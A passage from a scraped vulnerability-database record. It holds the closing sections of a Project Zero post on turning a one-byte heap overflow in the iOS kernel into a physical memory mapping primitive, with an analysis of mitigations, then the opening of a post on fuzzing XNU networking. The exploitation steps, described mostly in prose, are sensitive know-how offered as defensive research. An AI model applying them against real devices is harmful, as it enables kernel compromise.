corresponding virtual mapping.\n\n** \n**\n\nDue to PPL, we can not update the pmap directly, so the simplest solution is to grab a pointer to a legitimate vm_map_entry with faulted-in pages and overlay it on top of the virtual address range at which pmap_enter_options() established our physical mappings. Thus we will update the corrupted vm_map_copy's entry list so that it points to this single \"overlay\" entry instead.\n\n## The fires of stack doom\n\nFinally, it is time to break vm_map_copyout_internal() out of the for loop.\n\n** \n**\n\nfor (entry = vm_map_copy_first_entry(copy);\n\nentry != vm_map_copy_to_entry(copy);\n\nentry = entry->vme_next) {\n\n** \n**\n\nThe macro vm_map_copy_to_entry(copy) expands to:\n\n** \n**\n\n(struct vm_map_entry *)(&copy->c_u.hdr.links)\n\n** \n**\n\nThus, in order to break out of the loop, we need to process a vm_map_entry with vme_next pointing to the address of the c_u.hdr.links field in the corrupted vm_map_copy originally passed to this function.\n\n** \n**\n\nThe function is currently spinning on the \"done\" vm_map_entry, and we need to link in one final \"overlay\" vm_map_entry to address the pmap/vm_map accounting issue anyway. So the simplest way to break the loop is to modify the \"overlay\" entry's vme_next to point to &copy->c_u.hdr.links. and then update the \"done\" entry's vme_next to point to the overlay entry.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmWiTILBg-aycqClKm9OcZIKwQazsCvR_XgIJx7lMovi-lNakpXM77Nqe3k72MF4RZZEXFmaaRKFZoszB_awlZVOq1u-qtAUVs3no-7y9dtslUSGOEucOP73sPOmjKseofKku7qiBZHXUJzplH7los56W4upmepZpE0DUaq15khxjrXt9wDbZpb4JS/s2048/image15%282%29.png>)\n\nThe problem is the call to vm_map_copy_insert() mentioned earlier, which frees the vm_map_copy as if it were of type ENTRY_LIST:\n\n** \n**\n\nzfree(vm_map_copy_zone, copy);\n\n** \n**\n\nHowever, the object passed to zfree() is our corrupted vm_map_copy, which was allocated with kalloc(); trying to free it to the vm_map_copy_zone will panic. Thus, we somehow need to ensure that a different, legitimate vm_map_copy object gets passed to the zfree() instead.\n\n** \n**\n\nFortunately, if you check the disassembly of vm_map_copyout_internal(), the vm_map_copy pointer is spilled to the stack for the duration of the for loop!\n\n** \n**\n\nFFFFFFF007C599A4 STR X28, [SP,#0xF0+copy]\n\nFFFFFFF007C599A8 LDR X25, [X28,#vm_map_copy.links.next]\n\nFFFFFFF007C599AC CMP X25, X27\n\nFFFFFFF007C599B0 B.EQ loc_FFFFFFF007C59B98\n\n... ; The for loop\n\nFFFFFFF007C59B98 LDP X9, X19, [SP,#0xF0+dst_addr]\n\nFFFFFFF007C59B9C LDR X8, [X19,#vm_map_copy.offset]\n\n** \n**\n\nThis makes it easy to ensure that the pointer passed to zfree() is a legitimate vm_map_copy allocated from the vm_map_copy_zone: just scan the kernel stack of the vm_map_copyout_internal() thread while it's still spinning and swap any pointers to the corrupted vm_map_copy with the legitimate one.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZS8OD_c_LSwVE5Vght4cH_5PNnLICYWI4-mycB6kCvXIFvFcSf3DrqXJDZO_D1hI4BIgbYUHpXw74_3dNzE8blQtAiGkBrM_EqJfo-TcXM7WIBhQ8F0SPJT5Ag2C6jWbR00XuT-xAgD__n4tFteNVfhAxIMUfNK2GXBfGGxhbJ0iysYDms7vCqV9H/s1575/image21.gif>)\n\nAt last, we have fixed up the state enough to allow vm_map_copyout_internal() to break the loop and return safely.\n\n## Homeward bound\n\nFinally, with a virtual kernel read/write primitive and the vm_map_copyout_internal() thread safely returned, we have achieved our goal: a stable kernel compromise achieved by turning a one-byte controlled heap overflow directly into an arbitrary physical address mapping primitive.\n\n** \n**\n\nOr rather, a nearly-arbitrary physical address mapping primitive. As we have seen, PPL-protected addresses like page table pages and DARTs cannot be mapped using this technique.\n\n** \n**\n\nWhen I started on this journey, I had intended to demonstrate that the conventional approach of going after the kernel task port was both unnecessary and limiting, that other kernel read/write techniques could be equally powerful. I suspected that the introduction of Mach-port based techniques in iOS 10 had biased the sample of publicly-disclosed exploits in favor of Mach-port oriented vulnerabilities, and that this in turn obscured other techniques that were just as promising but publicly less well understood.\n\n** \n**\n\nThe one-byte technique initially seemed to offer a counterpoint to the mainstream exploit flow. After reading the code in vm_map.c and pmap.c, I had expected to be able to simply map all of DRAM into my address space and then implement kernel read/write by performing manual page table walks using those mappings. But it turned out that PPL blocks this technique on modern iOS by preventing certain pages from being mapped at all.\n\n** \n**\n\nIt's interesting to note that similar research was touched upon years ago as well, back when such a thing would have worked. While doing background research for this blog post, I came across a presentation by Azimuth called [iOS 6 Kernel Security: A Hacker\u2019s Guide](<https://conference.hitb.org/hitbsecconf2012kul/materials/D1T2%20-%20Mark%20Dowd%20&%20Tarjei%20Mandt%20-%20iOS6%20Security.pdf>) that introduced no fewer than four separate primitives that could be constructed by corrupting various fields of vm_map_copy_t: an adjacent memory disclosure, an arbitrary memory disclosure, an extended heap overflow, and a combined address disclosure and heap overflow at the disclosed address.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimr299Ic7v5lz7Pb_DNp101E6EC7In0HM4RrBGO-GSZOCMz0x_bj1npNzKNVLgBXg9qg2i1NPqgMeLl3S2TufeZZ2TbY7ifNpZIHB1JDZi-DKvVTLnZAMnrQ3uHy6mvvSql7Fqr4MbEwFHwapru6rNCBU06BMuN3hDLc-dpr6C9gdRmmOCle1M-ZHl/s1440/image2%286%29.png>)\n\nAt the time of the presentation, the KERNEL_BUFFER type had a slightly different structure, so that c_u.hdr.links.next overlapped a field storing the vm_map_copy's kalloc() allocation size. It might have still been possible to turn a one-byte overflow into a physical memory mapping primitive on some platforms, but it would have been harder since it would require mapping the NULL page and a shared address space. However, a larger overflow like those used in the four aforementioned techniques could certainly change both the type and the c_u.hdr.links.next fields.\n\n** \n**\n\nAfter its apparent public introduction in that [Azimuth presentation](<https://conference.hitb.org/hitbsecconf2012kul/materials/D1T2%20-%20Mark%20Dowd%20&%20Tarjei%20Mandt%20-%20iOS6%20Security.pdf>) by Mark Dowd and Tarjei Mandt, vm_map_copy corruption was repeatedly cited as a widely used exploit technique. See for example: [From USR to SVC: Dissecting the 'evasi0n' Kernel Exploit](<http://blog.azimuthsecurity.com/2013/02/from-usr-to-svc-dissecting-evasi0n.html>) by Tarjei Mandt; [Tales from iOS 6 Exploitation](<https://conference.hitb.org/hitbsecconf2013kul/materials/D2T2%20-%20Stefan%20Esser%20-%20Tales%20from%20iOS%206%20Exploitation%20and%20iOS%207%20Security%20Changes.pdf>) by Stefan Esser; [Attacking the XNU Kernel in El Capitan](<https://www.blackhat.com/docs/eu-15/materials/eu-15-Todesco-Attacking-The-XNU-Kernal-In-El-Capitain.pdf>) by Luca Todesco; [Shooting the OS X El Capitan Kernel Like a Sniper](<https://recon.cx/2016/resources/slides/RECON-0xA-Shooting_the_OSX_El_Capitan_Kernel_Like_A_Sniper_Chen_He.pdf>) by Liang Chen and Qidan He; [iOS 10 - Kernel Heap Revisited](<https://gsec.hitb.org/materials/sg2016/D2%20-%20Stefan%20Esser%20-%20iOS%2010%20Kernel%20Heap%20Revisited.pdf>) by Stefan Esser; [iOS kernel exploitation archaeology](<https://census-labs.com/media/iOS-kernel-exploitation-archaeology.pdf>) by Patroklos Argyroudis; and *OS Internals, Volume III: Security and Insecurity by Jonathan Levin, in particular Chapter 18 on TaiG. Given the prevalence of these other forms of vm_map_copy corruption, it would not surprise me to learn that someone had discovered the physical mapping primitive as well.\n\n** \n**\n\nThen, in OS X 10.11 and iOS 9, the vm_map_copy struct was modified to remove the redundant allocation size and inline data pointer fields in KERNEL_BUFFER instances. It is possible that this was done to mitigate the frequent abuse of this structure in exploits, although it's hard to tell because those fields were redundant and could have been removed simply to clean up the code. Regardless, removing those fields changed vm_map_copy into its current form, weakening the precondition required to carry out this technique to a single byte overflow.\n\n## The mitigating of the Shire\n\nSo, how effective were the various iOS kernel exploit mitigations at blocking the one-byte technique, and how effective could they be if further hardened?\n\n** \n**\n\nThe mitigations I considered were KASLR, PAN, PAC, PPL, and zone_require. Many other mitigations exist, but either they don't apply to the heap overflow bug class or they aren't sensible candidates to mitigate this particular technique.\n\n** \n**\n\nFirst, kernel address space layout randomization, or KASLR. KASLR can be divided into two parts: the sliding of the kernelcache image in virtual memory and the randomization of the kernel_map and submaps (zone_map, kalloc_map, etc.), collectively referred to as the \"kernel heap\". The kernel heap randomization means that you do need some way to determine the address of the kernel/user shared memory buffer in which we build the fake VM objects. However, once you have the address of the shared buffer, neither form of randomization has much bearing on this technique, for two reasons: First, generic iOS kernel heap shaping primitives exist that can be used to reliably place almost any allocation in the target kalloc zones before a vm_map_copy allocation, so randomization does not block the initial memory corruption. Second, after the corruption occurs, the primitive granted is arbitrary physical read/write, which is independent of virtual address randomization.\n\n** \n**\n\nThe only address randomization which does impact the core exploit technique is that of the kernelcache load address in physical memory. When iOS boots, iBoot loads the kernelcache into physical DRAM at a random address. As discussed in Part I, this physical randomization is quite small at 32 MB. However, improved randomization would not help because the AMCC hardware registers can be mapped to locate the kernelcache in physical memory regardless of where it is located.\n\n** \n**\n\nNext consider PAN, or Privileged Access Never. This is an ARMv8.1 security mitigation that prevents the kernel from directly accessing userspace virtual memory, thereby preventing the common technique of overwriting pointers to kernel objects so that they point to fake objects living in userspace. Bypassing PAN is a prerequisite for this technique: we need to establish a complex hierarchy of vm_map_entry, vm_object, and vm_page objects at a known address. While hardcoding the shared buffer address is good enough for this POC, better techniques would be needed for a real exploit.\n\n** \n**\n\nPAC, or [Pointer Authentication Codes](<https://www.qualcomm.com/media/documents/files/whitepaper-pointer-authentication-on-armv8-3.pdf>), is an ARMv8.3 security feature introduced in Apple's [A12 SOC](<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>). The iOS kernel uses PAC for two purposes: first as an exploit mitigation against certain common bug classes and techniques, and second as a form of kernel control flow integrity to prevent an attacker with kernel read/write from gaining arbitrary code execution. In this setting, we're only interested in PAC as an exploit mitigation.\n\n** \n**\n\nApple's website has a [table showing how various types of pointers are protected by PAC](<https://support.apple.com/guide/security/pointer-authentication-codes-seca5759bf02/1/web/1>). Most of these pointers are automatically PAC-protected by the compiler, and the biggest impact of PAC so far is on C++ objects, especially in IOKit. Meanwhile, the one-byte exploit technique only involves vm_map_copy, vm_map_entry, vm_object, and vm_page objects, all plain C structs in the Mach part of the kernel, and so is unaffected by PAC.\n\n** \n**\n\nHowever, at BlackHat 2019, Ivan Krsti\u0107 of Apple [announced](<https://i.blackhat.com/USA-19/Thursday/us-19-Krstic-Behind-The-Scenes-Of-IOS-And-Mas-Security.pdf>) that PAC would soon be used to protect certain \"members of high value data structures\", including \"processes, tasks, codesigning, the virtual memory subsystem, [and] IPC structures\". As of May 2020, this enhanced PAC protection has not yet been released, but if implemented it might prove effective at blocking the one-byte technique.\n\n** \n**\n\nThe next mitigation is PPL, which stands for [Page Protection Layer](<https://support.apple.com/guide/security/page-protection-layer-sec38dc659b4/web>). PPL creates a security boundary between the code that manages page tables and the rest of the XNU kernel. This is the only mitigation besides PAN that impacted the development of this exploit technique.\n\n** \n**\n\nIn practice, PPL could be much stricter about which physical addresses it allows to be mapped into a userspace process. For example, there is no legitimate use case for a userspace process to have access to kernelcache pages, so setting a flag like PVH_FLAG_LOCKDOWN on kernelcache pages could be a weak but sensible step. More generally, addresses outside the Application Processor's DRAM region (including physical I/O addresses for hardware components) could probably be made unmappable for most processes, perhaps with an entitlement escape hatch for exceptional cases.\n\n** \n**\n\nFinally, the last mitigation is zone_require, a software mitigation introduced in iOS 13 that checks that some kernel pointers are allocated from the expected zalloc zone before using them. I don't believe that XNU's zone allocator was initially intended as a security mitigation, but the fact remains that many objects that are frequently targeted during exploits (in particular ipc_ports, tasks, and threads) are allocated from a dedicated zone. This makes zone checks an effective funnel point for detecting exploitation shenanigans.\n\n** \n**\n\nIn theory, zone_require could be used to protect almost any object allocated from a dedicated zone; in practice, though, the vast majority of zone_require() checks in the kernelcache are on ipc_port objects. Because the one-byte technique avoids the use of fake Mach ports altogether, none of the existing zone_require() checks apply.\n\n** \n**\n\nHowever, if the use of zone_require were expanded, it is possible to partially mitigate the technique. In particular, inserting a zone_require() call in vm_map_copyout_internal() once the vm_map_copy has been determined to be of type ENTRY_LIST would ensure that the vm_map_copy cannot be a KERNEL_BUFFER object with a corrupted type. Of course, like all mitigations, this isn't 100% robust: using the technique in an exploit would probably still be possible, but it might require a better initial primitive than a one-byte overflow.\n\n## \"Appendix A\": Annals of the exploits\n\nIn my opinion, the one-byte exploit technique outlined in this blog post is a divergence from the [conventional strategies](<https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html>) employed at least since iOS 10. Fully 19 of the 24 original public exploits that I could find since iOS 10 used dangling or fake Mach ports as an intermediate exploitation primitive. And of the 20 exploits released since iOS 10.3 (when Apple initially started locking down the kernel task port), 18 of those ended by constructing a fake kernel task port. This makes Mach ports the defining feature of modern public iOS kernel exploitation.\n\n** \n**\n\nHaving gone through the motions of using the one-byte technique to build a kernel read/write primitive on top of a simulated heap overflow, I certainly can see the logic of going after the kernel task port instead. Most of the exploits I looked at since iOS 10 have a relatively modular design and a linear flow: an initial primitive is obtained, state is manipulated, an exploitation technique is applied to build a stronger primitive, state is manipulated again, another technique is applied after that, and so on, until finally you have enough to build a fake kernel task port. There are checkpoints along the way: initial corruption, dangling Mach port, 4-byte read primitive, etc. The exact sequence of steps in each case is different, but in broad strokes the designs of different exploits converge. And because of this convergence, the last steps of one exploit are pretty much interchangeable with those of any other. The design of it all \"feels clean\".\n\n** \n**\n\nThat modularity is not true of this one-byte technique. Once you start the vm_map_copyout_internal() loop, you are committed to this course until after you've obtained a kernel read/write primitive. And because vm_map_copyout_internal() holds the vm_map lock for the duration of the loop, you can't perform any of the virtual memory operations (like allocating virtual memory) that would normally be integral steps in a conventional exploit flow. Writing this exploit thus feels different, more messy.\n\n** \n**\n\nAll that said, and at the risk of sounding like I'm tooting my own horn, the one-byte technique intuitively feels to me somewhat more \"technically elegant\": it turns a weaker precondition directly into a very strong primitive while sidestepping most mitigations and avoiding most sources of instability and slowness seen in public iOS exploits. Of the 24 iOS exploits I looked at, 22 depend on reallocating a slot for an object that has been recently freed with another object, many doing so multiple times; with the notable exception of SockPuppet, this is an inherently risky operation because another thread could race to reallocate that slot instead. Furthermore, 11 of the 19 exploits since iOS 11 depend on forcing a zone garbage collection, an even riskier step that often takes a few seconds to complete.\n\n** \n**\n\nMeanwhile, the one-byte technique has no inherent sources of instability or substantial time costs. It looks more like the type of technique I would expect sophisticated attackers would be interested in developing. And even if something goes wrong during the exploit and a bad address is dereferenced in the kernel, the fact that the vm_map lock is held means that the fault results in a deadlock rather than a kernel panic, making the failed exploit look like a frozen process instead of a system crash. (You can even \"kill\" the deadlocked app in the app switcher UI and then continue using the device afterwards.)\n\n## \"Appendix B\": Conclusions\n\nI'll conclude by returning to the three questions posed at the very beginning of this post:\n\n** \n**\n\nIs targeting the kernel task port really the best exploit flow? Or has the convergence on this strategy obscured other, perhaps more interesting, techniques? And are existing iOS kernel mitigations equally effective against other, previously unseen exploit flows?\n\n** \n**\n\nThese questions are all too \"fuzzy\" to have real answers, but I'll attempt to answer them anyway.\n\n** \n**\n\nTo the first question, I think the answer is no, the kernel task port is not the singular best exploit flow. In my opinion the one-byte technique is just as good by most measures, and in my personal opinion, I expect there are other as-yet unpublished techniques that are also equally good.\n\n** \n**\n\nTo the second question, on whether the convergence on the kernel task port has obscured other techniques: I don't think there is enough public iOS research to say conclusively, but my intuition is yes. In my own experience, knowing the type of bug I'm looking for has influenced the types of bugs I find, and looking at past exploits has guided my choice in exploit flow. I would not be surprised to learn others feel similarly.\n\n** \n**\n\nFinally, are existing iOS kernel exploit mitigations effective against unseen exploit flows? Immediately after I developed the POC for the one-byte technique, I had thought the answer was no; but here at the end of this journey, I'm less certain. I don't think PPL was specifically designed to prevent this technique, but it offers a very reasonable place to mitigate it. PAC didn't do anything to block the technique, but it's plausible that a future expansion of PAC-protected pointers would. And despite the fact that zone_require didn't impact the exploit at all, a single-line addition would strengthen the required precondition from a single-byte overflow to a larger overflow that crosses a zone boundary. So, even though in their current form Apple's kernel exploit mitigations were not effective against this unseen technique, they do lay the necessary groundwork to make mitigating the technique straightforward.\n\n## Indices\n\nOne final parting thought. In [Deja-XNU](<https://googleprojectzero.blogspot.com/2018/10/deja-xnu.html>), published 2018, Ian Beer mused about what the \"state-of-the-art\" of iOS kernel exploitation might have looked like four years prior:\n\n** \n**\n\nAn idea I've wanted to play with for a while is to revisit old bugs and try to exploit them again, but using what I've learnt in the meantime about iOS. My hope is that it would give an insight into what the state-of-the-art of iOS exploitation could have looked like a few years ago, and might prove helpful if extrapolated forwards to think about what state-of-the-art exploitation might look like now.\n\n** \n**\n\nThis is an important question to consider because, as defenders, we almost never get to see the capabilities of the most sophisticated attackers. If a gap develops between the techniques used by attackers in private and the techniques known to defenders, then defenders may waste resources mitigating against the wrong techniques.\n\n \n\n\nI don't think this technique represents the current state-of-the-art; I'd guess that, like Deja-XNU, it might represent the state-of-the-art of a few years ago. It's worth considering what direction the state-of-the-art may have taken in the meantime.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-07-30T00:00:00", "type": "googleprojectzero", "title": "\nOne Byte to rule them all\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3837"], "modified": "2020-07-30T00:00:00", "id": "GOOGLEPROJECTZERO:90F2510A2D950366E6936B04EE986011", "href": "https://googleprojectzero.blogspot.com/2020/07/one-byte-to-rule-them-all.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:40", "description": "Posted by Ned Williamson, Project Zero\n\nIntroduction\n\nWhen I started my 20% project \u2013 an initiative where employees are allocated twenty-percent of their paid work time to pursue personal projects \u2013 with Project Zero, I wanted to see if I could apply the techniques I had learned fuzzing Chrome to XNU, the kernel used in iOS and macOS. My interest was sparked after learning some prominent members of the iOS research community believed the kernel was \u201cfuzzed to death,\u201d and my understanding was that most of the top researchers used auditing for vulnerability research. This meant finding new bugs with fuzzing would be meaningful in demonstrating the value of implementing newer fuzzing techniques. In this project, I pursued a somewhat unusual approach to fuzz XNU networking in userland by converting it into a library, \u201cbooting\u201d it in userspace and using my standard fuzzing workflow to discover vulnerabilities. Somewhat surprisingly, this worked well enough to reproduce some of my peers\u2019 recent discoveries and report some of my own, one of which was a reliable privilege escalation from the app context, CVE-2019-8605, dubbed \u201cSockPuppet.\u201d I\u2019m excited to open source this fuzzing project, \u201csockfuzzer,\u201d for the community to learn from and adapt. In this post, we\u2019ll do a deep dive into its design and implementation.\n\nAttack Surface Review and Target Planning\n\n# Choosing Networking\n\nWe\u2019re at the beginning of a multistage project. I had enormous respect for the difficulty of the task ahead of me. I knew I would need to be careful investing time at each stage of the process, constantly looking for evidence that I needed to change direction. The first big decision was to decide what exactly we wanted to target.\n\nI started by downloading the [XNU sources](<https://opensource.apple.com/tarballs/xnu/>) and reviewing them, looking for areas that handled a lot of attacker-controlled input and seemed amenable to fuzzing \u2013 immediately the networking subsystem jumped out as worthy of research. I had just exploited a Chrome sandbox bug that leveraged collaboration between an exploited renderer process and a server working in concert. I recognized these attack surfaces\u2019 power, where some security-critical code is \u201csandwiched\u201d between two attacker-controlled entities. The Chrome browser process is prone to use after free vulnerabilities due to the difficulty of managing state for large APIs, and I suspected XNU would have the same issue. Networking features both parsing and state management. I figured that even if others had already fuzzed the parsers extensively, there could still be use after free vulnerabilities lying dormant.\n\nI then proceeded to look at recent bug reports. Two bugs that caught my eye: the [mptcp overflow](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1558>) discovered by Ian Beer and the ICMP [out of bounds write](<https://securitylab.github.com/research/apple-xnu-icmp-error-CVE-2018-4407>) found by Kevin Backhouse. Both of these are somewhat \u201cstraightforward\u201d buffer overflows. The bugs\u2019 simplicity hinted that kernel networking, even packet parsing, was sufficiently undertested. A fuzzer combining network syscalls and arbitrary remote packets should be large enough in scope to reproduce these issues and find new ones.\n\nDigging deeper, I wanted to understand how to reach these bugs in practice. By cross-referencing the functions and setting kernel breakpoints in a VM, I managed to get a more concrete idea. Here\u2019s the call stack for Ian\u2019s MPTCP bug:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixaqhrlPJxgqVridccvdElpi6yxaoJCSUXDp5q8hm_F66e5WHW3NRaFwmy-OWQvCKz661k3LEfi4A4r2sa1LkgMb8pu8CEVjKbzTkblc8SZZYcOsKkw7u0uG2qo5KzCdjbxixJ-CplQI2nohuVE1_t07PiNW-xRxnW-3e4WtILcCE6CoYjbN1D6UPi/s623/image3%282%29.png>)\n\nThe buggy function in question is mptcp_usr_connectx. Moving up the call stack, we find the connectx syscall, which we see in Ian\u2019s original testcase. If we were to write a fuzzer to find this bug, how would we do it? Ultimately, whatever we do has to both find the bug and give us the information we need to reproduce it on the real kernel. Calling mptcp_usr_connectx directly should surely find the bug, but this seems like the wrong idea because it takes a lot of arguments. Modeling a fuzzer well enough to call this function directly in a way representative of the real code is no easier than auditing the code in the first place, so we\u2019ve not made things any easier by writing a targeted fuzzer. It\u2019s also wasted effort to write a target for each function this small. On the other hand, the further up the call stack we go, the more complexity we may have to support and the less chance we have of landing on the bug. If I were trying to unit test the networking stack, I would probably avoid the syscall layer and call the intermediate helper functions as a middle ground. This is exactly what I tried in the first draft of the fuzzer; I used [sock_socket](<https://developer.apple.com/documentation/kernel/1396122-sock_socket>) to create struct socket* objects to pass to connectitx in the hopes that it would be easy to reproduce this bug while being high-enough level that this bug could plausibly have been discovered without knowing where to look for it. Surprisingly, after some experimentation, it turned out to be easier to simply call the syscalls directly (via connectx). This makes it easier to translate crashing inputs into programs to run against a real kernel since testcases map 1:1 to syscalls. We\u2019ll see more details about this later.\n\nWe can\u2019t test networking properly without accounting for packets. In this case, data comes from the hardware, not via syscalls from a user process. We\u2019ll have to expose this functionality to our fuzzer. To figure out how to extend our framework to support random packet delivery, we can use our next example bug. Let\u2019s take a look at the call stack for delivering a packet to trigger the ICMP bug reported by Kevin Backhouse:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN_4qMCDG0R3Ix94ctakWAgk3QmZ1JVD0IxQVjr9ft44Eu2a3VYxzWkueZJvf8MUd2qsf2Z-Qk2elUh_Zl-Cx5D9k6ueDM-pJNT9LeT3Ruhtc_CAgn0SL1M2XVCL_BYiTya834YqPEYuU5kH0nU68d7eUJrsUuY-hGEZ3EfiX_yCZ7ZvlDnQoQceOe/s450/image2%281%29.png>)\n\nTo reach the buggy function, icmp_error, the call stack is deeper, and unlike with syscalls, it\u2019s not immediately obvious which of these functions we should call to cover the relevant code. Starting from the very top of the call stack, we see that the crash occurred in a kernel thread running the dlil_input_thread_func function. DLIL stands for Data Link Interface Layer, a reference to the OSI model\u2019s [data link layer](<https://en.wikipedia.org/wiki/Data_link_layer>). Moving further down the stack, we see ether_inet_input, indicating an Ethernet packet (since I tested this issue using Ethernet). We finally make it down to the IP layer, where ip_dooptions signals an icmp_error. As an attacker, we probably don\u2019t have a lot of control over the interface a user uses to receive our input, so we can rule out some of the uppermost layers. We also don\u2019t want to deal with threads in our fuzzer, another design tradeoff we\u2019ll describe in more detail later. proto_input and ip_proto_input don\u2019t do much, so I decided that ip_proto was where I would inject packets, simply by calling the function when I wanted to deliver a packet. After reviewing proto_register_input, I discovered another function called ip6_input, which was the entry point for the IPv6 code. Here\u2019s the prototype for ip_input:\n\nvoid ip_input(struct mbuf *m); \n \n--- \n \n \nMbufs are message buffers, a standard buffer format used in network stacks. They enable multiple small packets to be chained together through a linked list. So we just need to generate mbufs with random data before calling ip_input.\n\nI was surprised by how easy it was to work with the network stack compared to the syscall interface. `ip_input` and `ip6_input` pure functions that don\u2019t require us to know any state to call them. But stepping back, it made more sense. Packet delivery is inherently a clean interface: our kernel has no idea what arbitrary packets may be coming in, so the interface takes a raw packet and then further down in the stack decides how to handle it. Many packets contain metadata that affect the kernel state once received. For example, TCP or UDP packets will be matched to an existing connection by their port number.\n\nMost modern coverage guided fuzzers, including this LibFuzzer-based project, use a design inspired by AFL. When a test case with some known coverage is mutated and the mutant produces coverage that hasn\u2019t been seen before, the mutant is added to the current corpus of inputs. It becomes available for further mutations to produce even deeper coverage. Lcamtuf, the author of AFL, has an excellent demonstration of how this algorithm [created JPEGs using coverage feedback](<https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html>) with no well-formed starting samples. In essence, most poorly-formed inputs are rejected early. When a mutated input passes a validation check, the input is saved. Then that input can be mutated until it manages to pass the second validation check, and so on. This hill climbing algorithm has no problem generating dependent sequences of API calls, in this case to interleave syscalls with ip_input and ip6_input. Random syscalls can get the kernel into some state where it\u2019s expecting a packet. Later, when libFuzzer guesses a packet that gets the kernel into some new state, the hill climbing algorithm will record a new test case when it sees new coverage. Dependent sequences of syscalls and packets are brute-forced in a linear fashion, one call at a time.\n\nDesigning for (Development) Speed\n\nNow that we know where to attack this code base, it\u2019s a matter of building out the fuzzing research platform. I like thinking of it this way because it emphasizes that this fuzzer is a powerful assistant to a researcher, but it can\u2019t do all the work. Like any other test framework, it empowers the researcher to make hypotheses and run experiments over code that looks buggy. For the platform to be helpful, it needs to be comfortable and fun to work with and get out of the way.\n\nWhen it comes to standard practice for kernel fuzzing, there\u2019s a pretty simple spectrum for strategies. On one end, you fuzz self-contained functions that are security-critical, e.g., OSUnserializeBinary. These are easy to write and manage and are generally quite performant. On the other end, you have \u201cend to end\u201d kernel testing that performs random syscalls against a real kernel instance. These heavyweight fuzzers have the advantage of producing issues that you know are actionable right away, but setup and iterative development are slower. I wanted to try a hybrid approach that could preserve some of the benefits of each style. To do so, I would port the networking stack of XNU out of the kernel and into userland while preserving as much of the original code as possible. Kernel code can be surprisingly portable and amenable to unit testing, even when run outside its natural environment.\n\nThere has been a push to add more user-mode unit testing to Linux. If you look at the documentation for Linux\u2019s [KUnit project](<https://www.kernel.org/doc/html/latest/dev-tools/kunit/index.html>), there\u2019s an excellent quote from Linus Torvalds: \u201c\u2026 a lot of people seem to think that performance is about doing the same thing, just doing it faster, and that is not true. That is not what performance is all about. If you can do something really fast, really well, people will start using it differently.\u201d This statement echoes the experience I had writing targeted fuzzers for code in Chrome\u2019s browser process. Due to extensive unit testing, Chrome code is already well-factored for fuzzing. In a day\u2019s work, I could try out many iterations of a fuzz target and the edit/build/run cycle. I didn\u2019t have a similar mechanism out of the box with XNU. In order to perform a unit test, I would need to rebuild the kernel. And despite XNU being considerably smaller than Chrome, incremental builds were slower due to the older kmk build system. I wanted to try bridging this gap for XNU.\n\nSetting up the Scaffolding\n\n\u201cUnit\u201d testing a kernel up through the syscall layer sounds like a big task, but it\u2019s easier than you\u2019d expect if you forgo some complexity. We\u2019ll start by building all of the individual kernel object files from source using the original build flags. But instead of linking everything together to produce the final kernel binary, we link in only the subset of objects containing code in our target attack surface. We then stub or fake the rest of the functionality. Thanks to the recon in the previous section, we already know which functions we want to call from our fuzzer. I used that information to prepare a minimal list of source objects to include in our userland port.\n\nBefore we dive in, let\u2019s define the overall structure of the project as pictured below. There\u2019s going to be a fuzz target implemented in C++ that translates fuzzed inputs into interactions with the userland XNU library. The target code, libxnu, exposes a few wrapper symbols for syscalls and ip_input as mentioned in the attack surface review section. The fuzz target also exposes its random sequence of bytes to kernel APIs such as copyin or copyout, whose implementations have been replaced with fakes that use fuzzed input data.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7HxZOpEaZ0zOKXMwVP0f3hRjwuUrChoR3_v_y91gddRnq4T-t7FCJt5mmG3EGwaK3-HT_hibQyi-0CgwigF9hGZBfNaJhssUQG0KBYoyVGpXRHWgtVAUhC1EOgHgyb_vfiqdYGWxZE7N9y0ysw-0ikT-Kj_ljONiFGGMUPagiidn4dzLgSP8EvX-/s1051/image1%283%29.png>)\n\nTo make development more manageable, I decided to create a new build system using CMake, as it supported Ninja for fast rebuilds. One drawback here is the original build system has to be run every time upstream is updated to deal with generated sources, but this is worth it to get a faster development loop. I captured all of the compiler invocations during a normal kernel build and used those to reconstruct the flags passed to build the various kernel subsystems. Here\u2019s what that first pass looks like:\n\nproject(libxnu)\n\nset(XNU_DEFINES\n\n-DAPPLE\n\n-DKERNEL\n\n# ...\n\n)\n\nset(XNU_SOURCES\n\nbsd/conf/param.c\n\nbsd/kern/kern_asl.c\n\nbsd/net/if.c\n\nbsd/netinet/ip_input.c\n\n# ...\n\n)\n\nadd_library(xnu SHARED ${XNU_SOURCES} ${FUZZER_FILES} ${XNU_HEADERS})\n\nprotobuf_generate_cpp(NET_PROTO_SRCS NET_PROTO_HDRS 